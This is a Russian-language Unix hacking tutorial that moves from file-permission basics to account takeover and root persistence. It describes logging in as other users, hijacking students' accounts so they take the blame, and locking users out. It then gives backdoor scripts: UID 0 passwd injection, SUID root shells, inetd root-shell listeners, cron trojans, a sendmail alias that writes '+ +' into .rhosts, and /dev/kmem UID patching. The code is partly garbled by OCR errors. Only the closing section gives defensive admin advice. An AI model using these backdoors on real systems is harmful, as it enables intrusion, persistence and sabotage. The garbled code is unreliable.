Большинство программ пишется на С. В Unix исходные коды программ обозначаются как имяфайла.с. Для запуска исходника на компиляцию дайте команду сс имяфайла.с. Не все программы С станут компилироваться, потому что они могут зависеть от других файлов, которых нет на вашем диске, или же это не полные исходники, а лишь модули. Если вы увидите нечто названное "makefile", то в таких случаях обычно достаточно набрать "make" в командной строке, и это нечто скомпилируется, или попытается скомпилироваться. Запуская "make" или "cc".
Пример:
$ cc login.с&
[1234]
$
(1234- это номер процесса, под которым он идентифицируется.)

наверх 
Файловая система. 

Это инструментальная часть Unix. Если вы не поймете файловую систему, вам никогда не удастся хакать Unix, потому что многие из приколов и штучек для "поднятия доступа" завязаны именно на файловую систему.
Для начала поговорим о структуре разделов. По сути, это иерархическая файловая система, то есть она начинается в корневом разделе и далее ветвится, как в MS-DOS.
Вот нечто вроде дерева разделов ((d) обозначает раздел):

Итак, эта конкретная система содержит следующие разделы:
· /
· /bin
· /usr
· /usr/sirhack
· /usr/sirhack/src
· /usr/scythian
· /usr/prophet


Файловые допуски. 

Итак, теперь вы должны мыслить категориями "группы пользователей" и "имена пользователей". Каждый принадлежит к группе. В командной строке вы можете после подсказки (знака доллара) набрать "id" и посмотреть, к какой группе вы принадлежите. Группы используются для организации допуска пользователей к определенным вещам. Если бы их не было, то лишь один человек контролировал/имел допуск к определенным файлам. Запомните также, что Unix, определяя доступ, смотрит на UID пользователя, а не на его имя.
Идем дальше. В файловых допусках нет ничего сложного. У каждого файла есть владелец (owner). Обычно файлом владеет тот, кто его создал - скопировав файл, или даже просто отредактировав его. Запомните, что владелец файла должен быть тем, кто управляет CHOWN, поскольку он единственный, кто может изменить файловые допуски. Кроме того, есть еще и владелец группы - обычно это группа, в которой вы находились, когда файл был создан. Для смены группы, к которой принадлежит файл, нужно выполнить команду chgrp.
Далее. Файлы могут иметь допуски на выполнение, чтение или запись. Если у вас есть допуск на выполнение, то вы знаете, что вам достаточно набрать имя программы в командной строке, и она выполнится. Если у вас есть допуск на чтение, то вы, очевидно, можете файл читать и делать все, что связано с чтением - например, копировать или печатать его. Но если у вас нет доступа на чтение файла, то вы не сможете сделать ничего, что требует его прочтения. То же самое справедливо и для допуска на запись. Далее, все допуски делятся на три группы. Первая - допуски владельца. Он может установить себе допуски на чтение и выполнение файла, но не на запись в него. Это не позволит ему удалить такой файл. Вторая - групповые допуски. Возьмем для примера такой раздел:
$ ls -1 runme
r-xrwxr-- sirhack root 10990 March 21 runme
Здесь "root" есть имя группы, в которой находится файл, "sirhack" - владелец файла. И если у группы "root" есть допуски на чтение, запись и выполнение файла, то именно это они и могут с ним делать. Скажем, на этот файл наткнулся Scythian, а он принадлежит к группе пользователей "root". Тогда он может файл читать, записывать в него, и выполнять. А потом файл обнаружил datawiz, но он из группы "пользователи". В таком случае групповые допуски на него не распространяются, поэтому он не может тронуть этот файл, верно? Вроде того. Есть третья категория допусков - для "другой" группы. Это означает, что допуски в "другой" группе распространяются на всех, кроме ее владельца, и на пользователей из той же группы, к какой принадлежит файл. Взгляните на листинг раздела вверху, и вы увидите строчку допусков
r-x-rwxr--
Первые три символа означают допуски для владельца (г-х). (r-х) переводится как "читать и выполнять разрешается, но записывать в файл нельзя". Второй набор из трех символов
r-xRWXr-
(тот, что заглавными буквами) есть групповые допуски, и они означают "читать, записывать и выполнять разрешается".
Третий набор,
r-xrwxR--
есть допуски для всех прочих. Он означает "читать можно, но больше ничего".
Листинг раздела будет выглядеть примерно так:
$ ls -1
drwxr-xr-x sirhack root 342 March 11 src
Раздел помечен буквой "d" в начале строки допусков. Итак, владелец раздела (sirhack) может читать из раздела, записывать в раздел, и выполнять программы из раздела. Корневая группа и все прочие могут лишь читать из раздела и выполнять программы, находящиеся вне его. Поэтому если я захочу сделать раздел только выполняемым, то это будет выглядеть так:
$ chmod go-r
$ ls
drwx--x--x sirhack root 342 March 11 src
Если теперь в раздел зайдет кто-то кроме "sirhack", то он сможет лишь выполнять находящиеся там программы. Если он запустит команду ls чтобы войти в раздел src, то, оказавшись внутри, увидит сообщение "cannot read directory" (не могу прочесть раздел). Если в разделе есть доступный для чтения файл, но сам раздел имеет запрет на чтение, то иногда все-таки бывает возможно этот файл прочесть.
Если у вас нет допуска на выполнение в каком-то разделе, то в большинстве случаев вы не сможете запустить ни одной программы из этого раздела.

Регистрация под чужим именем. 

В любой момент вас могут засечь операторы, но чаще всего их это мало интересует, либо информация на их машинах меняется так быстро, что они не успевают считывать ее, а если же вы забудете свой пароль или попытаетесь войти в недоступные вам файлы, то система автоматически запишет все ваши действия. А некоторые системы вообще регистрируют все ваши телодвижения!
Это - ключевой момент взлома системы UNIX. Допустим, вы опасаетесь заниматься хакингом под собственным ID. И к тому же желаете по возможности использовать при каждом заходе в систему различные пользовательские ID
Без некоего начального доступа к системе получить имя и пароль невозможно. Что же делать? Не забывайте, что GANDALF data switch отнюдь несовершенен. Один из пяти логинов без проблем пропустит вас под чужим именем. Вам остается только изменить контроль по четности (8N1 на Е71), в то время как GANDALF загружает UNIX. Вам наверняка удастся зарегистрироваться таким образом. И это произойдет из-за того, что некоторые пользователи используют телефонные линии по их прямому назначению, не завершив работу на компьютере. Всегда следите за тем, чтобы по завершении работы обязательно выйти из системы.
Возможен и такой случай, когда вы влезли в систему под чужим именем и, непонятно почему, не получили доступа. На мониторе высветились слова "LOG OFF", и вы просто были выброшен из системы. Скорее всего, что человек, чьим именем вы воспользовались, как раз в тот момент сидел на терминале, управляемом суперпользователем. И он сообщил SU(суперпользователю) о том, что в системе появился его двойник (возможно, он установил это, используя команду WHO).

Блокирование. 

Еще такой момент. UNIX дает возможность блокировать некоторых пользователей и ограничивать им доступ к системе.
Для начала вы выбираете гражданина, которому собираетесь закрыть доступ. Затем помещаете в его начальный каталог (тот, который UNIX автоматически загружает при входе в систему) файл VI.LOG IN.
VI.LOGIN должен выглядеть примерно так:
VI.LOGIN
logout
Таким образом, VI.LOGIN будет включать в себя только одну единственную команду. Она срабатывает автоматически: как только этот пользователь попытается войти в систему, вход в нее окажется заблокирован.
Важно: каждые несколько дней проверяйте в силе ли ваше блокирование, а блокирование особо значимых для вас пользователей можно проверять и чаще.
Эта программа должна работать под КОРНЕМ (ROOT - имя суперпользователя).

Приобретение нового имени. 

Возможен еще один способ приобретения пользователем нескольких имен и паролей. Сначала (самое трудное) необходимо дождаться начала семестра и достать список идентификационных номеров студентов, учащихся в группах с углубленным изучением системы UNIX. Обычно этот список вывешивается на двери деканата или где-нибудь еще. Допустим, что этот список вы уже нашли.
Далее, лучше всего в самом начале учебного года, попробуйте войти в систему под именами нескольких (возможно, 3-4) студентов. Предпочтительней пользоваться ID студентов самого низкого уровня доступа, так как если вы попадетесь, то именно студент примет на себя весь удар, полагая, что он сам сделал что-то не так. Смело входите в систему, и если студент еще не занимался в UNIX, то сразу же выскочит запрос на ввод пароля. Вы не только получили доступ, но и еще можете установить любой пароль по своему выбору! Так происходит, потому что кафедре информатики всегда некогда поставить своим студентам фиксированные пароли. Считается, что студенты-новички должны сами выбрать себе пароль, но тогда как же можно различить, кто студент, а кто хакер?
Вероятнее всего, ваша халява не продлится и нескольких дней, поэтому лучше всего будет, если вы воспользуетесь ситуацией и оторветесь по полной программе. Если у вас богатый опыт работы на компьютере и вы умеете взламывать пароли в файле PASSWRDS, то можете получить пароль суперпользователя (SU) и тогда уж развлекаться на полную катушку!
Великолепно Вы пробыли в системе UNIX всю ночь, пытаясь воплотить в жизнь все идеи, которые только пришли вам на ум. Система вам уже кажется тесной. И выглядит просто спичечным коробком. Система на самом деле тесна. Вы испробовали все, что можно испробовать. Пароли по умолчанию, пароли, которые вы раскрыли, дефекты NIS, дыры NFS, "кривые" разрешения к файлам и условия маршрутизации, шуточки со SUID, ошибки в Sendmail и так далее.
Все. Погодите! А это что такое? "#"? Наконец таки!
После, как казалось, бесконечного тяжелого труда вам в конце концов удалось взломать root. И что же теперь? Что вы будете делать с этой бесценной привилегией суперпользователя, ради которой пришлось столько потрудиться?

Как удержаться на уровне root. 

Здесь описывается, как удержаться на уровне корня, и она будет полезна как для хакеров, так и для администраторов.
Предупреждение: Выясните расположение главных системных файлов. Это вам необходимо (если вы не можете вспомнить хотя бы некоторые из них, прекратите чтение данной главы, полистайте книгу о системе UNIX и после этого возвращайтесь к нам).
Ознакомьтесь с форматами файлов passwrd (включая обычных 7 форматов, систему специальных имен, механизмами затенения и т.д.). Почитайте о vi. Создатели большинства систем не столь дружелюбно настроены по отношению к пользователю, как создатели UNIX Пико и Эмакс. Vi вам поможет быстро найти и при необходимости отредактировать очень большой файл. Если вы подсоединяетесь к системе дистанционно (dial-up\telnet\rlogin\whatver), то для вас тем более важно иметь мощную программу терминала, обладающую вместительным буфером. Он пригодится вам в случае нужды вырезать, вставлять и копировать файлы и выполнять другие компьютерные программы.
Длительность этого нелегального доступа полностью зависит от опыта и мастерства администратора. Опытный и умелый администратор будет зорко следить за всеми нелегальными проникновениями в систему, а тот факт, что вам удалось приобрести корень, говорит о том, что администратор был недостаточно профессионален, или о том, что доступ был на какое-то время открыт.
Вы должны осознать следующее: если вы сумеете замести следы в самом начале взлома, то уже никто не сможет вычислить вас в дальнейшем.
Несколько банальностей:
(1)
Добавьте UID 0 к паролю файла. Возможно, это один из самых легких способов сообщить администратору о том, что вы в системе. Если вы все же хотите это сделать, то вот вам совет - не нужно просто приписывать этот код к паролю файла. Любой проверяющий моментально это заметит. Лучше впишите его посередине пароля...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED Oh well.
# daemon9@netcom com
set linecount = wc -1 /etc/passwd
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \ (or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr Sinister: /home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
rnv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./ternppass
echo Done...
Никогда не изменяйте пароль корня. Причины, думаю, вам очевидны.
(2)
Точно таким же образом введите в действие такие уже непригодные аккаунты, как Sync. Или, возможно, другие, скрытые в файле паролей, забытые или отключенные системным администратором. Измените UID на 0 (и уберите "*" из второго поля).
(3)
Перегоните оболочку корня в /tmp:
#!/bin/sh
# Everyone's favorite:
cp /bin/csh /trnp/.evilnaughtyshell # Don't name it that:
chmod 4755 /tmp/.evilnaughtyshell
Многие системы чистят \tmp по ночам. Чаще всего это осуществляется путем уничтожения файлов или занесения их в буфер. Во многих системах установлены пакеты, предохраняющие от запуска программ под SUID. Вы можете все это изменить, но даже если система примет изменения, то очень многие могут все же это заметить... Параметры необходимых изменений могут варьироваться на разных системах.
(4)
Системный администратор не станет первым же делом заглядывать в конфигурационный файл хоста, так почему бы не загрузить этот демон туда?
Для начала немного общей информации: Internet-демон (\etc\inetd\) принимает запросы о связи с портами TCP и UDP и перебрасывает нужную программу согласно поступившему запросу. Формат файла \etc\inetd.conf. прост.
Обычные его строки выглядят следующим образом:
1 2 3 4 5 6 7
ftp stream top nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Первое поле (1) - это название демона, указанное в \etc\services. Отсюда inetd считывает информацию о соответствующем поле в \etc\services и после этого устанавливает параметры связанного с данной программой порта.
Во втором поле содержится информация о типе службы доставки данных, необходимом для данной программы. TCP использует stream (байт-ориентированный поток), тогда как UDP - dgrams (служба, ориентированная на транзакции). Третье поле - поле протоколов (TCP или UDP). В четвертом поле указывается статус демона. Флаг wait означает, что демон перед продолжением прослушивания приходящих запросов вынужден будет ожидать, пока сервер освободит порт, nowait в свою очередь позволяет демону незамедлительно приступать к прослушиванию новых запросов. Пятое поле - это тот пользователь (или иногда UID), который управляет демоном. Поле (6) - это запускающаяся при соединении программа, а поле (7) содержит команды (и дополнительные аргументы). Часть программ (обычно не требующих вмешательства пользователя), сервер может перебрасывать по сети. Это осуществляется с помощью флага internal в строках (6) и (7). Таким образом, для того, чтобы самому установить нелегальный доступ к системе, выберите редко используемую программу и переадресуйте связующего демона к программе, создающей оболочку корня SUID, к программе, предоставляющей корневой аккаунт в файле \etc\passwd и так далее.
Пример:
Откройте \etc\inted.conf, если это, конечно, возможно.
Найдите строку:
daytime stream tcp nowait root internal
и поменяйте ее на:
daytime stream tcp nowait /bin/sh sh - i
Теперь вновь откройте \etc\inetd\ и просмотрите файл конфигурации. Сами решите, как это сделать. Вы можете закончить процесс и запустить его снова (kill -9, /usr/sbin/inetd или /usr/etc/inetd), и таким образом прервать все связи в сети (особое удовольствие сделать это в час пик).
(5)
Своего рода компромиссным вариантом может стать установка новой программы, которая смогла бы запускать любую другую по вашему выбору. Лучше всего загрузить не чувствительную к несанкционированным подключениям оболочку. Вы должны убедиться в том, что доступ индицируется как в \etc\services, так и в \etc\inetd.conf. Формат \etc\services прост:
1 2/3 4
smtp 25/tcp mail
(1) - функция, (2) - номер порта, (3) - тип протокола, необходимый для работы программы, (4) - название функции.
Попробуйте добавить такую строку к \etc\services:
evil 22/tcp evil
и такую к /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Загрузите inetd.
Обратите внимание: такой нелегальный доступ в принципе весьма действенен. Он даст возможность использовать не только любой аккаунт локальной сети, но и предоставит любой аккаунт любого компьютера с выходом в Internet.
(6) Cron-трояны I
Cron - это замечательная утилита для администрирования. Она также может быть использована для того, чтобы нелегально войти в систему, если, конечно корневой crontab работает исправно. И опять же нелишне напомнить, что продолжительность работы нелегально созданного аккаунта находится в обратной зависимости от опытности и профессионализма системного администратора. Обычно список корневых файлов crontab находится в /var/spool/cron/crontabs/root. Здесь у вас есть выбор. Здесь будет перечислены только некоторые из возможных решений, так как на самом деле их количество огромно.
cron - это временной демон. Он представляет собой утилиту, выполняющую команды, связанные с датами и временем.
crontab - это команда, пересматривающая и дополняющая ваши файлы crontab. Управлять crontab также легко, как и редактировать /var/spool/crontab/root.
Файл crontab состоит из шести полей:
1 2 3 4 5 6
0 0 * * 1 /usr/bin/updatedb
Поля с 1 по 5 означают: минута (0-59),час (0-23), день месяца (1-31), месяц года (1-12), день недели (0-6). Поле 6 - это выполняемая команда (или сценарий оболочки). Сценарий оболочки из вышеприведенного примера используется только по понедельникам. Для запуска cron просто добавьте вход в /var/spool/crontab/root. Например, у вас есть задание для cron, которое должно ежедневно запускаться и отслеживать в файле /etc/passwd предварительно помещенный туда аккаунт UID 0 и восстанавливать его после удаления (неплохая идея ввести код оболочки в сценарий оболочки в уже установленном файле crontab, тем самым вы можете себя в значительной степени обезопасить).
Добавьте такую строку в /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
А вот и сценарий оболочки:
#!/bin/csh
# Is our eviluser still on the system ? Let's make sure he is.
#daemon9@netcom.com
set evilflag = ( 'grep eviluser /etc/passwd' )
if($#evilflag == 0) then # Is he there?
set linecount = we -1 /etc/passwd
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1
# we only want 2 temp files
split -$linecount[.1J ./temppass
# passwd string optional
echo "EvilUser::0:0:Mr. Sinister: /home/sweet/horne /bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
# or whatever it was beforehand
rm ./xa* /temppass
echo Done:
else
endif
(7) Cron-трояны II
Для того, чтобы трояна запустить, вам необходимо отыскать скрытую копию файла etc/passwd. В этом спрятанном файле (назовем его /var/spool/mail/.sneaky) заведем еще один вход с корневым аккаунтом и с паролем на ваш выбор. Вводим задание для cron, который, например, будет каждую ночь в 2.30 (или в любое другое время) сохранять копию настоящего \etc\passwd файла и активизировать при этом троянскую версию данного файла сроком на одну минуту. В это время любой обычный пользователь, попытавшийся зарегистрироваться в системе или открыть файл пароля, не сможет этого сделать, тогда как ровно через минуту он не встретит никаких препятствий на своем пути.
Добавьте эту строку к корневому файлу crontab:
29 2 * * * /bin/usr/sneakysneaky_passwd
и проверьте:
# echo
"root 1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
и вот очень простой сценарий оболочки:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.snsnеаkу /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
(8) Генерирование кода трояна
Это очень просто. Вместо сценария оболочки используйте какой-нибудь С-код, и это поможет вам успешно замести следы. Вот как это делается.
Убедитесь в том, что ваш троян работает под корнем. Назовите его как-нибудь безобидно и хорошенько замаскируйте.
В ряде случаев небольшой троян может быть создан в SUID оболочке при условии, что соблюдены определенные параметры. С-код в такой момент гораздо действеннее, нежели оболочка, и помогает лучше прятать результаты.
/* daemon9@netcom.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[ ]; {
int i=0;
if (argv[1]) { /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD, argv[1]))){
/* Это уже троян */
system("cp /bin/csh /bin/ swp121"),
system("chown root /bin/ swp121"),
system("chmod 4755 /bin/ swp121")
}
}
/* Put your possibly system specific trojan messages here */
/* Let s look like we re doing something:*/
printf("Sychronizing bitmap image records );
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for ( i<10; i++){
fprintf (stderr,".");
sleep(1);
}
printf ("\nDone. \n");
return(0);
} /* End main */
(9) Файл-псевдоним в sendmail
Этот файл дает возможность отправлять почту на имя одного или нескольких пользователей или подключиться к самой программе. Для таких файлов существует очень известный троян uudecode. Просто добавьте строку:
"decode: " | /usr/bin/uudecode"
в файл /etc/aliases.При это вам следует создавать файл uuencoded.rhosts с полным указанием его месторасположения.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Затем адресуйтесь к нужному сайту, порт 25. Отправьте "липовое" письмо, используя uuencode-версию файла .rhosts. В одной из строк (настоящей) напечатайте следующее:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts |
mail decode@target.com
И теперь можете дать волю своему воображению. Придумывайте себе псевдоним, пишите письма кому хотите, запускайте любые программы. Многие из описанных выше методов сейчас могут найти себе применение.
(10) Скрытый Троян в обычных программах
Это не самый лучший метод, но зато его следы могут быть обнаружены только такими программами, как tripwire.
Идея проста: вживить трояна в наиболее часто и широко используемую программу. Для нас особенно важны программы su, login и passwrd, так как они идут под корнем и к ним не надо переустанавливать разрешения. Ниже мы приведем несколько примеров на разные случаи, чтобы вы почувствовали всю прелесть взлома системы UNIX. (Примечание: Это не всегда проходит, так как некоторые поставщики не столь беспечны, как большинство других). Подключаемся
Если подключиться не удается запускаем вирус
Если все идет как надо то не останавливаемся на полпути
Выходим с ошибкой
...
Не слишком трудно. Данный тип трояна может включать в себя менее 10-ти строк дополнительного кода.
(11) Эзотерический: использование \dev\khem
Сейчас мы погрузимся в святая святых системы. Так как параметры ядра находятся в памяти машины, то, следовательно, модифицирование память компьютера может привести к изменению UID. Чтобы это сделать, удостоверьтесь, что к \dev\khem установлен доступ для чтения/записи. И далее по пунктам: открыть \dev\khem, найти вашу страничку в памяти, переписать UID, затем запустить csh, который и поменяет ваш UID. Эта программа проделывает следующее.
/* Если \khem доступен для чтения и для записи, то с помощью этой программы можно установить и пользовательский и групповой ID к 0. */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage:
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[ ], *envp[ ]; {
int count, fd;
long where, lseek();
if (argv[1] ) {/* we've got an argument, is it the keyword? */
if (!(strcmp(KEYWORD argv[1]))){
fd =(open("/dev/kmem", 0_RDWR);
if (fd<0){
printf ("Cannot read or write to /dev/kmem\n" );
perror(argv);
exit(10)
}
userlocation = address( );
where = (lseek (fd, userlocation, 0)
if (where !=userlocation){
printf ("Cannot seek to user page\n")
perror (argv);
exit(20);
}
count = read(fd, &userpage, sizeof (struct user));
if (count !=sizeof (struct user)){
printf("Cannot read user page\n")
perror(argv);
exit(30);
}
printf ("Current UID: %d\n", userpage.u_ruid);
printf ("Current GID: %d\n", userpage.g_ruid);
userpage.u_ruid = 0;
userpage u_rgid = 0;
where = lseek(fd, userlocation, 0);
if( where! = userlocation){
pnntf ("Cannot seek to user page\n");
perror (argv);
exit(40);
}
write (fd, &userpage, ((char *)&(userpage и procp)) ((char *)&userpage))
ехесlе ("/bin/csh", "/bin/csh", "-i", (char *) 0, envp)
}
}
} /* End main */
#include 
#include 
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx = 0;
object = ldopen ("/unix", LNULL);
if (!object){
fprintf (stderr, "Cannot open /unix. \n");
exit(50);
}
for (ldtbread (object, idx, &symbol)==SUCCESS; idx++)
{
if (!strcmp ("_u", ldgetname (object, &symbol)))
{
fpnntf (stdout, "User page is at 0x%8.8x\n", symbol.n_value);
ldclose (object);
гeturn (symbol.n_value)
}
}
fprintf (stderr, "Cannot read symbol table in /unix.\n");
exit(60);
}
(12)
С тех пор как описанный выше код на основе /dev/kmem стал общеизвестным, использовать его необходимо с максимальной осторожностью. Совет такой - напишите сценарий оболочки по образцу (7), чтобы на время (допустим, на 5 минул) изменить разрешения, установленные к /dev/kmem, a затем вернуть их значения обратно. Добавьте эти строки к шаблону из пункта (7):
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kfnem # Or whatever it was before


Дефекты. 

Дефекты в системе безопасности бывают нескольких видов.
Физические дефекты
В этом случае проблема состоит в возможности получения нелегального доступа к системе и, как последствия, компьютерного хулиганства и вандализма. Вот вам хороший пример - сетевая рабочая станция, которая при отсутствии должных предосторожностей может быть переведена взломщиком в режим single-user (единичного пользователя) с одновременным уничтожением всей файловой системы.
Еще один пример - обеспечение сохранности конфиденциальной информации на различных носителях, которые, несмотря на установленные к файлам разрешения, вполне могут быть прочитаны любым пользователем системы, имеющим доступ к соответствующему сегменту диска.
Дефекты программного обеспечения
Здесь основная проблема заключается в ошибках в "привилегированных" программах (демоны, установки для cron), чьи функции могут быть задействованы при взломе системы. Самый известный пример - это "sendmail debug", который позволяет хакеру запускать корневую оболочку. При этом может быть удалена файловая система, создан новый аккаунт, скопирован файл passwrd, короче, все, что только можно придумать (вопреки общему мнению, взлом, аналогичный sendmail, не ограничивается только небезызвестным "Internet Worm", это вполне осуществимо и при запуске telnet через 25 порт атакуемого компьютера.
Новые "дыры" в системе безопасности появляются чуть ли не ежедневно, поэтому самое лучшее, что вы можете сделать, это:
a) постараться структурировать свою систему таким образом, чтобы даже самые незначительные программы работали только под привилегиями root/daemon/bin, а если существует необходимость прописать софт под других пользователей, то убедитесь, что их аккаунты не поддаются взлому.
b) подпишитесь на рассылку, где публикуется информация об интересующих вас проблемах, и таким образом вы сможете вовремя отреагировать на обнаруженный дефект.
При установке/обновлении данной системы старайтесь устанавливать/делать запускаемыми только действительно необходимые вам программы, которые нужны вам сейчас или которыми вы точно станете пользоваться. Многие пакеты содержат демоны и утилиты, позволяющие посторонним лицам считывать информацию. К примеру, пакет AT&T System V Unix включает в себя программу acctcom(l), в которой установки по умолчанию предоставляют одному пользователю свободный доступ к учетным данным другого. Многие пакеты TCP/IP автоматически инсталлируют/запускают такие программы, как rwhod, fmgerd, и <иногда> tftpd, использование которых может повлечь за собой серьезные проблемы с обеспечением безопасности системы.
Решение этих проблем заключается в тщательно продуманном администрировании системы. Большинство подобных программ инициализируется/запускается во время начальной загрузки; вы можете изменить сценарии начальной загрузки (обычно расположенные в каталогах /etc, /etc/re, /etc/rcX.d) для предотвращения их запуска. Вы также можете просто удалить некоторые из этих программ. Для ряда утилит предотвратить несанкционированный запуск может простая команда chmod(l).


Не доверяйте сценариям/программам инсталяции. 

Подобные средства обычно загружают сразу весь пакет без дифференцированных запросов. В большинстве случаев в документации к инсталляции есть список всех программ пакета; ознакомьтесь с ним.
Дефекты из-за совместимости оборудования
Иногда недостаточный профессионализм системного менеджера приводит к использованию таких комбинаций железа и софта, которые позволяют взломщикам преодолевать все защитные системы. По сути дела это пример "погони за двумя зайцами", естественно, ни один из зайцев в конечном счете не попадает в ловушку, на зато в систему попадает незваный гость.
После полного завершения установки оборудования обнаружение подобных "дыр" в системе безопасности становится для системного администратора настоящей головной болью, поэтому лучше всего следить за появлением этих моментов с самого начала работы машины. Впрочем, никогда не поздно вернуться на несколько шагов назад.
Выбор стратегии защиты и ее применение
Четвертый вид проблем с безопасностью касается адекватного восприятия. Хорошие программы, защищенное железо, но вполне совместимые компоненты системы не заработают, если только вы не выберете соответствующую стратегию защиты и не включите отвечающие за безопасность сегменты системы. Даже использование самого лучшего на свете механизма паролирования не даст никакого результата, если ваши пользователи считают лучшим паролем свой собственный логин! Безопасность - это взаимодействие общей стратегии (или стратегий) и согласованных с ней операций.

 

Hosted by uCoz
Hosted by uCoz